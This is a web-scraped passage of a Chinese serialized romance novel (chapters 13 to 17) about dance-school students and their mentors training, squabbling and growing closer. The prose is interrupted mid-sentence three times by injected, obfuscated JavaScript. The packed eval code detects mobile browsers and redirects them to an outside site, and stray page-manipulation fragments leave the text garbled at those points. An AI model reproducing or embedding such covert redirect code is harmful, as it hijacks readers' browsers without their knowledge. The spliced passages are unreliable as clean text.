早知是玩笑话,孔爵还是忍不住恨恨地哼了一声,“说起承儿,怎么没见他?睡了,还是写作业呢?学校的暑假作业也不少吧!” “没,我罚他功了。 ” 萧泽随口带过,说的清淡,见彦霖也没什么过多反应,孔爵玩味的挑起眉毛,点了点头 ,“现在的孩子嘛,哪有我们小时候那样玩儿命的练。不敲打敲打啊,就不知道用功。” 萧泽笑了,不置可否。“别说孩子了,倒是你,怎么了?思思不在身边觉得空落了?” 晚上本是和孔爵参加了团里的聚餐,结束的时候想他一个人回家也没什么意思,也看得出他心事重重,便邀到家里喝口茶。 孔爵将嘴里的苹果狠嚼了几下咽下去,也没藏着掖着,一句话就奔主题,“陶乐钦那个小子,性子有点儿怪。” 一直以为孔爵是挂着思思,萧泽和彦霖都没想到和陶乐钦有什么关系,当下也惊讶的很,“怎么说。” “哎,谁知道,前几天在文导那屋碰着他了,那孩子直勾勾的跑到我面前,说要跟我学。” “你怎么说?” “我能怎么说,奔儿都没打一个就说不行了!” 萧泽了然地和情人对视了一眼,当时没打奔儿,现在却有点儿后悔了。 “后悔了?” 孔爵为难的咂了咂嘴,“说不上后悔,这孩子性子太跋扈,我看不上。再者说,基功底子也薄,我没那心思调(教)这些琐碎东西。” 听见这话,彦霖忍不住调笑他,“这么说我还得多谢你前些日子费心调(教)承儿了!” 眼见着孔爵脸上立刻一副急着解释的表情,彦霖不禁笑意更甚,“我是玩笑话。不是你有没有那心思,是陶乐钦没对上你的性子。 ” “不过我倒觉得,陶乐钦的性子,和学长从前的时候好像有几分相像。” 萧泽这话说得有心,孔爵也并非不赞同,沉默了半晌,却终究还是摇了摇头,“我小时候可没他这么混账。。不过说实话,我不是后悔没答应,是有点儿可惜我教不了他,是个好苗子,编舞这块的灵感和舞台表演的张力,绝不是一般的,跟着我怕耽误了。” “孔爵你这话可说的妄自菲薄了,”彦霖倒少见孔爵真因为什么烦心的样子,当下探身拍了拍他肩膀,“界内你的地位还低嘛,没有小泽的时候就有你了。再者,我也算是半个内行,无论是编导还是表演,你还比谁差了?孩子愿意跟着你,要是惜才就收下嘛。” 孔爵摇了摇头,“真要收也不是现在,他那个性子,得好好磨磨,再说我也得问思思的意见。 。。。成了成了不说了,我去看看承儿,你俩收拾收拾睡吧,不用管我。” 练功房灯火通明,孔爵推开门,就见彦承腰上腿上都有负重,呼哧呼哧地坐着两头起,一身汗津津的,动作已经说不上标准了。孩子也不知道进来的是谁,一听有动静就连忙认起错来,“萧泽哥我错了,我不是故意偷懒的,我……我……您饶了我吧,我真的做不动了。。。” 14. 第14章 “我要是萧泽,单凭你这软塌塌的动作就得再罚两百个!” 熟悉的声音入耳,彦承惊喜的回过头,果然是孔爵哥来了。小家伙一个轱辘爬起来,没走几步却给孔爵挥挥手止住了,“可不是来解救你的,该罚几个罚几个,我是替你萧泽哥监工来了。” 彦承这才反应过来孔爵刚才说的那句话,虽是老大不情愿,可眼前人的铁腕手段他不是没领教过,只得老老实实坐回地上。 身上绑着负重,方才已经卯着劲儿做了一百多个,如今一懈下来,腰腹间的肌肉仿佛脱了力,一点儿劲儿都提不起来。彦承磨蹭着躺下,眼神不禁飘到旁边,果然孔爵绞起手臂气定神闲地看着,“别以为现在不教你就整治不了你了,痛快儿做完。” 小孩儿咬紧牙关半点不敢拖沓地做起来,孔爵对自己却有半晌的纳闷儿:明明只是想过来看看他,可认真的劲儿上来又忍不住刁难。 彦承一个个做的艰难,奈何孔爵哥就从旁眼珠都不转的看着,再累也拼命地把动作做到标准。否则,那所谓的二百个绝对会轻飘飘地从他老人家嘴里飘出来,然后沉甸甸地砸在自己身上。 汗流浃背地熬到做完,彦承死瘫在地上,一动都懒得动。孔爵上前把他翻个个儿,大手在他腰上准确地拿捏着,嘴上却忍不住念叨,“现在的孩子,练功都练成祖宗了!哼,放狠折腾几天,什么事儿都没有了。” “嘿嘿~”彦承侧枕着手臂鬼鬼地笑着,日子仿佛突然回到在孔爵哥家里的两个月。“孔爵哥,你为什么不去舞校教课啊?” “怎么着,不上我课想了?” “那不至于,我有萧泽哥呢!”“切,”孔爵拿他没辙, “就知道拿萧泽挤兑我,少贫了,起来吧。” 彦承笑嘻嘻地坐起来,解了一身的负重,“其实……您现在去舞校教课我也赶不上,我就能顺利考上也是明年的事儿了。我就是想说……如果您在舞校,我以后偷偷去找晓希的时候……能有个照应……” 孔爵失笑,大手捏上他的脖颈,“还嫌自己不够忙呢!学不上舞不练了,自己不努力可别去闹腾晓希。” 眼前的小孩儿待要争辩,孔爵却又抢了话头,“起来,我看看退步了没,今天表现好,明天就带你溜他宿舍去!” 虽然嘴上总说着萧泽纵着学生,可孔爵比谁都知道,这个舞痴在舞蹈上何曾容得下一点瑕疵。所以当小家伙儿献宝似的挑了最近练习的片段跳给他看时,毫不惊异那个一年前还是门外汉的傻小子无论是技巧上还是气场上,都俨然已经是专业舞蹈演员的架势。 “怎么样?还不差吧?”音乐讲讲结束,彦承乐不颠儿地就凑到孔爵跟前一脸期待。 “嗯,确实是不错”,该罚罚该骂骂,孔爵却从来不吝赞美,“萧泽带你一个一个动作抠出来的吧。” “嘿嘿,嗯。”少年不好意思地低下头,刻意不去想在萧泽哥的藤条下打滚的日子。 这其中辛苦孔爵自然晓得,夸奖之外也没给他太多的时间自满,“我看你也是顾头不顾尾,难得有点儿进步就得有点儿退步来换”,话说着大手不禁在他腰眼上轻捏几下,“这儿是不是又紧了?” 彦承给孔爵捏得一激灵,忍不住仰着小脸儿一副苦相,“就那么一点点儿……也给你发现了。” “呿,”孔爵轻笑,“可不止这一处儿,自己差哪儿了自己知道。少废话,二十个一组,五组。” 早知道孔爵哥来了自己肯定更轻松不了了,彦承收了嬉皮劲儿乖乖跑到墙边儿,稍稍活动了几下就钻到把杆里头。一组二十个,最后一个还要撑住耗十十个数。 彦承自然老老实实地做,每做一个就在心中默默数着,数到了二十便抓着脚踝等十个数的时间。抓着脚踝的时候,腰间确实有些酸酸地发紧,可他哪里敢讲,数够了十个数便忙不迭的做起下一组。如此做到第二组结束,彦承又屏息抓住脚踝,悄悄用力让头离小腿更近些。虽然腰间酸胀的难受,可是自己练的时候不多努力些,等下孔爵哥那里可没那么容易糊弄过去的。 眼看着彦承已经做到第五组,孔爵口袋里的手机却突然震动起来。这时候,该是没谁找他啊,孔爵掏出手机,竟是彦霖的短信:承儿交给你了,我和小泽给自己放天假。 哼,放假。孔爵忍不住咧开嘴角,这两个人,如胶似漆的,指不定跑哪儿甜蜜去了呢。 把手机放在一旁,彦承也刚好五组做完,正起身龇牙咧嘴地放松着肌肉。孔爵不禁上前揪住少年的耳朵,“还有什么话说?别以为我不知道你,仗着自己腰软就不好好练,以为用的时候突击几天就好了?老这么投机取巧的,有你吃苦的时候.” 吃苦的日子可不远,就在眼前。 彦承俯卧在地上,双腿打开与肩同宽,抬起上身向后弯折。孔爵站在他身后,拉着他手肘振压着向下。“呃……” 手肘终于抵上膝窝,彦承忍不住在喉咙里咕哝出一声。孔爵却又使劲儿往下带了带,“少整动静,这点儿疼忍不了?” 相比撕腿时候的撕心裂肺,这的确是没什么。只是一面极度拉伸,一面过分挤压,腰间奇怪的不适感还是若有若无地撩拨着神经。彦承睁开眼睛,孔爵哥倒映的脸就在眼前,“孔……孔爵……哥…… 我要……是练……好……了,是不是……” “是!”孔爵腾出一只手扶在他胸口,小心控制着力道向下,“软下去一点,别僵着。我说话什么时候有不算的,练好了肯定带你溜进他们宿舍!” 彦承不再作声,因过度后仰而微张的嘴扯出个满足的笑意。虽然疼痛一点点加深,但是想到躲在宿舍里等着给晓希惊喜的时候,甜蜜也一点点加深。。。 又是疲惫的一晚,双腿的韧带和肌肉历尽折磨,只希望这些辛苦能有回报。宿舍的门敞着,室友拿着洗漱用具进进出出。一想到多人共用的水房,陶乐钦是真的有些头疼了。人多时候永远湿哒哒混着泥的地,水池里搅浑的泡沫,隔着一个门就是洗手间……嗯……他有点不想想下去了。 “陶乐钦,你快点去洗吧。一会儿寝室熄灯就得摸黑了。”室友拎着脸盆路过门口,看见陶乐钦还没进去,忍不住提醒。陶乐钦点点头,算是答应。 寝室一共六个人,三个人是和林晓希一路考上舞院的附中的同学,还有一个尝试和自己说过几句话,没得到回应也就作罢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239512|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。只剩下这一个,想是心思没那么多的,对他的冷淡也不以为然。陶乐钦倒是乐得他们能离自己远点,他独来独往惯了,可没那么多话说。 眼看着还有二十分钟门禁,陶乐钦飞快拿了洗漱用品和换洗的衣服冲出门。险些忘了宿舍没法洗澡,还好洗澡的楼离宿舍不远,好在这个时间应该还有水,虽然可能是冷的。 飞速洗完澡,陶乐钦背着包一路小跑回宿舍,虽然是夏天,洗过冷水澡让晚上的小风一吹还是有几分凉意。把套头衫的帽子套起来,这样带着满身酸痛迎风小跑的颠簸,就好像时光倒流的小马车,沿着自己磕磕绊绊的几年,又颠簸到了人生最怀念的六个月,和最不舍的一次离别。 京都的冬至,是白色圣诞节的前奏。阳光初照的清晨,路边的白雪仿佛被晒发出清新的味道。街道上已经清出了一条小道,一大一小就沿着路边慢跑,即便是周末的早晨。 冬天,还是真冷啊。陶乐钦罩起套头衫的帽子,把冻僵的双手努力的缩回并不够长的袖子里。 “哝,戴上。” 老师递过一双手套。陶乐钦接过,嘴里却忍不住嘟囔,“既然带了为什么现在才给我。。。” 熟悉的低沉温柔的男声头顶一点点高度的地方传过来,“吃到了苦头,下次才能记住。” 陶乐钦不置可否,乖乖地戴上手套,相处的六个月,自然已经摸清老师的脾性。 一路跑到市中心的公园,第一次相遇的公园,那棵六个月前还郁郁葱葱,现在冬日寂寥的树下。陶乐钦移动着脚下,双臂在空中挥着拳头。拳击,老师最初教他练习节奏感的东西。 “我后天要走了。”平静不起一丝波澜的语气,仿佛和平日里教导的样子并无两样,然少年挥在空中的拳头却突然放下了。 陶乐钦诧异的回望,在那双深沉的眼神中努力确认自己理解地方式是错的。可是他没错,眼前的人就那么点点头,认真地说,“也许不回来了。” “不觉得自己是很过分的人么?” “阿乐——” “不觉得吗! 不觉得自己是很过分的人吗。说走就走,都不要提前说一声,也不需要解释,只需要说,我不会回来了。是这样吗?因为是在这里捡来的学生,所以也可以随便的丢弃掉吗?” “阿乐……” 想说些什么,最后到了嘴边的,终究是一声叹息。他第一次看到了,这个固执坚持的孩子,竟然红了眼眶。“你是很好的学生,我并没有丢弃你,只是……需要离开。你现在,足够优秀来让神崎老师教导你。他,会把你教的很好的。” 怎么会好呢? 教师,本该是为了帮助学生,教学生不会的东西而存在的。当初,一位位名师,说出了自己一连串的不足,却不愿教导,把他拒之门外。只有,只有老师,没有嫌弃,没有犹豫,在自己最失意的那天,说要做他的老师。然后一步步,一点点,让一个仿佛蹒跚学步的婴儿一样的自己,能欢愉的舞蹈,能自信地说,自己是个会跳舞的人。 “是您让我会跳舞,是您让我做个自信的人。怎么能够说出,别人会把我教的更好的话呢?啊?” 15. 第15章 面对孩子的质问,即便并不词穷,也有些愧疚。“阿乐,我有不得不离开的理由。和别人的约定,一定得遵守。” “约定?” “在蒙特利尔,有约定要见面的人。” 陶乐钦没有再问,老师没有继续说,那这些大概就是他想说的全部吧。相处六个月,他对老师的过去一无所知,甚至是名字。不,他的确给过他的一个姓氏,山田,这样泛滥的菜市场名,让人还是觉得叫他“诶”更加方便。可是,即便他对从前和未来都只字不提,莫名地,却感受的出他对自己的全心全意,莫名地相信他绝对不会像父亲所担忧对自己别有所图。 “既然早就知道要离开,干嘛又来招惹我呢。难道是欣然接受了您到来的不明所以,也要平静的和您说再见吗?” 沉默。。陶乐钦心不由衷的哂笑,也、不必再追问,无论是与不是,都不能改变老师要走的事实,难道不是这样吗? 陶乐钦依旧清楚地记得那天的谈话就那么不了了之。他如往常一样,打起十二般精神上好最后一课,没有告别的言语,直到结束,本想说些轻松的话,本想笑着说再见,可绷不住的他冲到老师怀里,将人狠狠抱住…… 那是和任何人都好,都从未有过的亲昵。 最后,老师真的离开,杳无音讯。自己也真的得到众名师的青睐,一路走到今天的位置,可他永远也忘不了,永远也都期待着,那个在自己一无所知之时也从未嫌弃过并谆谆教导的人。 想起来,当初竟从未要过老师的任何联系方式,想念,也再找不见。所以要拼命的加油,要让全世界都看到自己,那样,老师很容易就找的见自己了…… 一晃眼是开学的第三个晚上,回到宿舍,到底还是迟了。林晓希走到传达室的窗根儿地底下,轻轻敲了敲玻璃,遇上大爷嗔怪的眼神,只得不好意思地笑笑。练了一晚上,对自己的作业还是不满意,不说老师们高标准,自己……心里不也是想着要追上陶乐钦?这块大石头,从不知何时压在身上,就再也移不开了。 “练功也有个点儿,年纪不大,身子都熬坏了。”晓希是舞校大院儿里长大的孩子,前前后后的,都知道这孩子出息又懂事。 铁门哗啦啦的拉开一条缝,林晓希一侧身挤了进来,“对不起大爷,保证没有下次了。” 大爷扬起钥匙上拴着的皮绳抽在少年屁股上,“再有下次,就告到你们校领导那儿,看有没有人管你这练功不要命的。” “谢谢大爷。”林晓希嘿嘿一笑,三两步迈上了楼梯,心中却不自觉想着,和钟彦承这家伙共处久了,果真也染上了他的习气。 轻手轻脚的打开门,宿舍里立刻一阵窸窸窣窣,林晓希忍不住偷笑,“没事儿,是我!” 听出是晓希的声音,大伙儿长出一口气,各个铺头也都泛起幽幽的亮光,玩手机的玩手机,看电脑的看电脑,总之是都没睡。林晓希卸下背包挂在床头,上铺的人却突然探个脑袋出来,“晓希,加点小心,你床上可有个东西。” “哈?”晓希一愣,狐疑地打开手电筒,便忍不住笑出声来——这“东西”可不就是彦承在床上四仰八叉地睡着了,手里还捧着自己的ipad。 “你这表弟可真是不容易,六点多孔大学长亲自带进来的,本想给你的惊喜,却忘了你是个舞痴,坐在这儿活活等睡着了。” 对铺忍不住调侃,其他人也跟着笑起来。 林晓希颇为无奈的关上手电筒,低声笑骂,“都小点声,一会儿吵醒人事小,把宿管招来就事儿大了!” 抽了条薄毯给彦承盖上,晓希心里满是愧疚。想着他不知道是多兴奋地等着给自己个惊喜……哎,早知道这样一定会早回来的。 “欸?晓希你回来了。” 彦承睁开惺忪睡眼,看见是晓希立刻就精神了,随即却又不禁万分懊恼……怎么就睡着了呢? 晓希倒了杯水给他,自己也在床边坐了,“拿什么哄了孔爵哥带你来啊。” 彦承美美的接过水杯却忍不住白了个眼,“什么叫哄,和孔爵哥谈条件,那得是一滴血一滴泪地换啊。” 晓希呿的一声笑出来,“瞧你把自己说的可怜样。其实——”带着浴波香味的头突然凑到耳边,“其实你来看我,我很高兴!” 抓着水杯的双手僵硬了片刻,彦承扭头看了看晓希,想象着他此时脸颊绯红的样子,心里的小鹿突然变成了发疯的公牛恨不得要把胸腔都冲破了的好。 “晓希……” 晓希却不好意思的别过脸,“很晚了,睡觉吧。” “睡觉??我大老远来已经睡了一觉,好不容易见到你,还要继续睡?” 晓希不禁抿嘴,“明天不用上学吗?早睡早起吧!” “明天周六当然不用上学了啊!” “好,明天大把时间一起玩还不成吗?早点睡!” 清晨,九号练功房,晓希照常做着晨练,听见门响的声音,果然如愿见到孔爵。 “孔爵哥,这么早就来了?” 孔爵看他练功服都给汗湿,不禁调侃,“早都没早过你啊,承儿来了也不多陪一会儿。” “他赖床啊,不知道几点才会起,我是猜你今天多半会过来,所以过来多谢你咯!” “哼,谢他自己吧,不答应可就把我念叨死了。” 晓希忍不住轻笑——彦承磨人的功夫他可不是没领教过的。 “差不多别练了,” 孔爵提起手里的胶袋,“我买了早餐,带回去给承儿吃。” “好啊!”晓希麻利地换了衣服,谁知两人才走到门口就见彦承冷着脸站在门口。“彦承?” “说什么周六大把时间一起玩儿,是大把时间练功吧! 好歹我来看你一次,不等我睡醒就自己偷跑出来。” 孔爵哥还直挺挺地站在旁边,晓希实在是给彦承说的半点面子没有。解释又不得,不解释也不对。“我——” “你清早起来哪儿来这么大气”孔爵一把丢了早餐到彦承怀里,“知不知道晓希功课多忙,想要白天能一直陪你,所以才早起过来晨练提前做好功课嘛。” 谁想彦承听了话脸色反而更差,“那他不会自己解释?明明是为我好又不说……要别人替他说话,最后是我不通情达理了!” 虽是对着孔爵哥说,可摆明了是给晓希听,晓希给他损得脸色红一阵白一阵。“呃……练功房不能吃东西的,不然去食堂吧。” “好,走啊。。” 晓希已经远远走在前面,彦承挑挑眉毛,若无其事地也跟着走,却给孔爵一只大手抓住脖颈,“不惹点风浪出来不老实是不是?” 彦承任性甩开孔爵,“是!你们个个都偏帮他好了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239513|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 早餐够丰富,气氛却沉闷的很,孔爵大口吃的香,笑看彦承斗气,晓希吃亏,倒是有点怀念自己像他们这年纪时候也如此不成熟。可惜两个不成熟的小孩已经成双成对,自己到了这把年纪却还孑然一身。 “彦承,等下吃完饭想干什么?”晓希倒了杯豆浆给彦承,彦承接过喝了,却不理不睬。 “别发脾气了,这次我错了,等下你想干什么我陪你?” 孔爵一口喝光了豆浆把杯子稳稳地放在桌上, “谁说你们今天可以自由活动了?” 一语掷地,彦承一下子就急了, “今天周末为什么不能自由活动” “哼,”孔爵站起身,习惯性的绞起双臂,周身敛起的气场瞬间让人不自觉地绷紧了身子。晓希有些诧异,不解孔爵哥怎么突然发了火,却还是在桌下踢了踢彦承,叫他不要再冲着火去。孔爵哥突然发火,彦承本就生了不敢再继续耍脾气的怯意,可晓希一在桌底下给打暗号,自己就不知道哪儿来的浑劲儿,非要拧着他干,“孔爵哥,今天是周末,为什么不能休息……再说……再说是你亲自带我来学校的。” “嗯……你还记得是我带你来的————我能带你来,我也能把你压在练功房出不来!饭后给你们半个小时休息,老地方见。” 宽阔健硕的背影走出食堂,消失在两个少年的视线里,沉默了半晌,彦承终于压抑不住憋了一早上的火儿,狠狠地瞪了万分歉意的晓希一眼,更加不想说话。 好好的一个周末,就这么被毁了。 提前五分钟到练功房,孔爵果然已经等在那里了。换了舒爽的T恤和教师的练功鞋。彦承还是一脸不爽,孔爵没多说什么,吩咐他们自己热身。 换好鞋子,扶上把干,两人并肩练习的情景并不陌生。从最基本的擦地和伸展开始,即便不情愿,彦承还是认真的做着。耳边响起的是熟悉的钢琴曲,动作的编排和音乐的停息完美契合,每一次踢腿和每一次深蹲,都在唤醒沉睡一夜的身体。 “晓希,一位和五位脚收回来的时候怎么回事儿,你这当前辈的就这么给承儿师范”孔爵走到跟前儿,音乐还在继续,晓希却被叫停重复刚刚收腿的动作。无论怎么说,自己是以古典芭蕾见长的,如今被学长挑外开的毛病,是天大的打脸的事情。晓希承认自己刚刚是有些走神了,但他对动作绝对不敢敷衍的!孔爵哥……怎么会突然吹毛求疵起来。 也许,这就是被挑剔一上午的开始吧。 彦承照常练习萧泽教他的新舞,晓希将老师布置的作业给孔爵过目。 “嗯,想要表达的意思我大致看的出来,但这是现代舞,你编的太中规中矩了,别把老芭蕾那套搬进来。基训和身韵沿袭了芭蕾,不代表创作也要这样。” 这么重的一句话,恰恰好好插到了晓希的痛处。彦承面不改色地练习,可那一席话是一个字儿都不差地落到他竖起的耳朵里。突然担心的忍不住想去看晓希的表情,孔爵哥也是的,怎么偏哪壶不开提哪壶呢。 晓希不好意思地笑了笑,“孔爵哥说得对,那我再调整。” 孔爵不禁挑眉,心下高兴。回到学校的晓希,拾回了曾经作为天之骄子的自信,更何况,陶乐钦评论他的那件事,早已经被健康地消化掉,现在他有的,只剩勇往直前的动力。 16. 第16章 “如果不保证能做好,就不应该把它放进来,这就和吹嘘自己不会的东西一样丢脸。” 一舞结束,孔爵帮晓希关掉音乐,走到他跟前儿,直勾勾地就是这么一句话。 晓希下意识地动动嘴唇,好像一根桩子一下子扎到了胸口,堵得上,半晌都没缓过气来。 “孔爵哥,是哪个动作做的不好吗?” “从最后一小节开始,我数拍子。” 晓希点点头,跟着拍子重新开始,一二三四、二二三四……心中默默数着,可是还没数三就给叫了停。突然定住动作,一只腿还举在空中险些没站稳,正努力保持平衡之际,脚踝却突然给握住,猝不及防的疼痛传来,晓希一惊之下一声呻吟也脱口而出…… 紧接着,是彦承紧张的冲过来。“晓希!” 虽然是独自在旁练功,可是这一上午孔爵哥对晓希的挑剔他都看的清清楚楚。起初自己还带着气,知道孔爵哥是故意凶晓希让自己心疼而已,所以任由他怎么责备自己都不去理会。可是……话说的越来越重,偶尔还有几下藤条招呼在身上,自己的神经也越来越紧绷,仿佛一根被拉伸到极致的弹簧。方才晓希的一声呼痛,仿佛最重要的一下撩拨让自己瞬间弹了起来。 然后,就是如此尴尬地杵在地当间儿。 见到彦承有如此反应的晓希,又何尝不是难堪地想找个地洞钻下去呢。只是孔爵哥不满意腿在空中的角度,所以抓着脚踝拧了拧而已,自己怎么就小题大做了呢。从前疼的恨不得去死的时候都有,还不是咬碎牙齿混血吞了? 险险地对上孔爵哥目光,终敌不过心中洪水猛兽般的后悔和惭愧,晓希用一百分认真地说出那句“对不起……” “嗯,”孔爵手掐着腰在房里踱起了步,“让我看看,这一个两个的,都是少爷脾气。一个嘛?人家就得二十四小时待命,稍稍伺候不周就甩脸色;一个嘛?内心脆弱娇皮娇肉的,连动作也都抠不得了。” “孔爵哥…………” 晓希不怕打不怕罚,怕得,就是被如此揶揄。他无地自容的想立刻消失,心里更难过地想和孔爵哥说,他应该知道的,如果能进步,不要说是疼一点,就算是要掰断了骨头再接上,自己也会奋起而去的呀。 “孔爵哥!” 终于按耐不住的,是彦承。 “我知道!我知道你是怪我不该对晓希乱发脾气,所以故意苛责他叫我心疼。可是,你说我没关系,不能……不能这样说晓希啊! 是你自己亲口和我说的,你见过他被文导罚耗腿的时候顶水杯也不叫痛,也见过他半夜偷偷跑到这里来练功,疼的默默抹眼泪,他……他根本不是娇气的人! 如果想叫我心疼的话,你赢了。” 一字一句打在晓希心里,十分的震惊,十二分的感动。其实,彦承都知道的,他原来什么都知道,原来他已经是那么了解自己的人。他——只是小孩儿一个,偶尔想耍耍脾气而已呢。 孔爵冷哼一声,拽着彦承耳朵狠揪了几下,“哼,那我赢的可太艰难了些。和事佬也扮了,坏人也扮了,现在才换来你这么一句。” “孔爵哥,”晓希默默上前,“我知道你是故意气彦承,但我也知道你说的这些地方我确实有问题,我会改。” 对这个小学弟,孔爵向来放心,“你知道就好。记着我的话,别人五十你八十,那叫你赢了,不叫你厉害。要想当顶尖的舞者,就得像萧泽那样,半点瑕疵都不允许自己有。” “嗯!”晓希微笑, “我知道!” “知道去给我们买两瓶水喝,渴了呢!” 晓希换了鞋出门,彦承立马凑上来死死盯着孔爵,“你要干嘛,为什么把晓希支走。” 孔爵指了指地上的垫子,皮笑肉不笑地扯开嘴角,“来,坐!” “不坐,你到底要干嘛?” “干嘛?给你普及普及知识。” 孔爵到底拉着他在垫子上坐了,彦承仔细打量着他的表情,总觉得这家伙不怀好意。 “普及……什么?” “知道什么叫傲娇受吗?” 噗!彦承恨不得一口老血喷出来,傲娇受他听不懂,可那个“受”字他可是敏锐地捕捉到了! 见过谁这么一本正经地谈论这种事儿嘛! “我不知道……孔爵哥你说这个干嘛?”一脸防备的往后退,彦承觉得孔爵哥变邪恶了,他得离他远点儿。 孔爵一把拨开他指着自己的手指,又往前坐了点儿,“傲娇受,顾名思义,就是漂亮的,高傲的,有才华有风采的,又有那么一点点别扭的——受!” 彦承被雷的外焦里嫩,已经不知道自己现在是什么表情了,“你是说……觉得我是?” “哼,那你抬举自己了。傲娇受可是个褒义词,少往自己脸上贴金,你啊,也就满足别扭那一项,没什么能耐还公子脾气的受!” “喂喂喂”,彦承瞬间炸毛起来,虽然孔爵看得出那炸毛的外表下,其实是心虚和紧张了,“你可不能贬低我啊,再说……你凭凭凭什么说我是……是是……那个…… 我们——还——什么都没做呢,你怎么知道一、一定是我。” 哈哈哈哈哈哈! 眼看着彦承紧张的舌头打结,孔爵实在是忍不住捶地大笑,爽朗的笑声气的彦承面红耳赤! 刚刚买水回来的晓希看见此情此景不禁一头雾水。彦承的摩卡星冰乐,孔爵的冰Americano,一一递到手里,晓希也跟着席地而坐,“说什么呢?这么开心?” 孔爵嘴角一扬,挟持着彦承的脖子把他夹到自己怀里,“我在劝彦承以后少耍脾气,对你好一点。把现在只具备的一个特质,升级到五个特质。从一个头衔,升级到另一个,是不是啊,承儿?” 欢欢闹闹的一个周末,从惊喜、到赌气、再到愉快的共处,到周日的下午,学长亲在开车来接承儿回去了。晓希一直送到大门口,眼看着车子离去自己才往回走,胸膛却给不舍和思念塞得慢慢的,又酸又痛。 没认识彦承的时候,没拜入学长门下的时候,自己不一直都是一个人呆在学校里,没有过分的思念和期待,没日没夜的,只是学习和练功。可是现在,不一样了,生命中除了舞蹈,还有了这么重要的他。他每日的陪伴让自己觉得欢心和丰富,他走了,心里就空落落的,不知道该做什么了。 不知道该做什么的时候,就跳舞吧。 晓希这样想着,便如此走到了教学楼。明天就是周一了,大伙儿都卯着劲儿好好练习,想找间人少的教室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239514|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可不容易。不过他记得走廊拐角好像是有间狭小却隐蔽的房间的。之前三人编舞的时候,不想被人围观打扰,陶乐钦就介绍了这么个地方,虽然小,却难得清静。 说起来,那次作业难得的成功,老师很喜欢,同学那里更是好评如潮。所以其实,陶乐钦也并不是个那么难相处的人,他只是习惯用自己的冷漠和骄傲来保护内心的不安全和不确定罢了。 练功房这么紧张,晓希想得到陶乐钦八成已经会在那儿了。可是,双脚还是不自觉的朝那儿走去了,明明从前总是抗拒见面的,现在,为什么会不由自主的想去看看他在做什么呢? 于是,隔着门上的玻璃,晓希看见了正在那儿独自和自己较劲的陶乐钦。一条腿架在垫子上压腿,不规则的震颤,然后狠命让自己沉下去一点,没一会儿就又忍不住弹起来。如此来来回回十几分钟,房间里那身影终于满头大汗,忍不住站起身狠狠地踹翻了垫子和自己发脾气。 晓希看在眼里,心里有些不是滋味。他看得出陶乐钦并没有想象中那么淡定。虽然嘴上说着讨厌技巧机器,可也在拼命着弥补着自己的不足。 一个人埋头在练功房里和自己较劲的事情,他没少干过。所以眼前的情景落在心里,他都感同身受,脑海里,不禁开始回放他和陶乐钦所接触的点滴,试图将那些零星的碎片拼凑出一个他所能够了解的人。 也许是想的太入神吧,所以当陶乐钦看到了门口他,大步迈向门口的时候,晓希已经来不及躲避。 门被大力打开,陶乐钦尽力压抑着气息怒目相向,“没人和你说过,这样的窥视是很不礼貌的行为吗?” “对不起,我——” 还不待他解释,陶乐钦已经将背包甩在身上大步流星地离开了。晓希有些无奈地摇摇头,他和陶乐钦之间的梁子,算是解不开了。 自那晚的不欢而散之后,林晓希和陶乐钦之间的气压好像又低了几度。因为晓希突然觉出,陶乐钦好像有了事事都想要与他一决高下的念想。从前,他对自己的态度总是不冷不热,甚至是刻意地表现出不屑与自己争斗的样子。可现在,自己编入三个技巧动作他就要编进去五个,自己选了《奥赛罗》的故事,他就要跳《麦克白》。这种剑拔弩张的气氛,不仅是自己,就是身边的同学也敏锐的感觉到了。 虽然不甘示弱,可说是在的,晓希实在不是个喜欢争端的人。如果是因为那晚的事情,那么,希望他的道歉能让事情有一个好的开端。 于是,晓希在那间偏僻的练功房门口望见了房中再次和自己较着劲儿的陶乐钦。然后,他笃定的敲响了门板。 听到敲门声陶乐钦极警惕的回过头,看见是晓希就立刻走过来,那架势仿佛是恨不得一打开门就把人骂走。果然,门打开,陶乐钦的脸上似是挂了层寒霜, “你来这里干什么,我讨厌被别人打扰。” 晓希不介意地笑笑,“上次的事……对不起。这次来,我是想说,我看到你在练得东西。我想说……两个人一起练的话,可能会进步的更快。” 他知道陶乐钦骄傲的自尊心,所以故意挑了最照顾他心情的方式表达。可惜陶乐钦却直白的很,“我用不着你帮忙,我也不喜欢和别人一起练习。我要关门练习了,你请便!” 17. 第17章 “我用不着你帮忙,我也不喜欢和别人一起练习。我要关门练习了,你请便!” 晓希一把撑住门,迎上陶乐钦高扬起的眉毛,“多个朋友总比多个敌人好,再不济,你当是还我一个人情。” 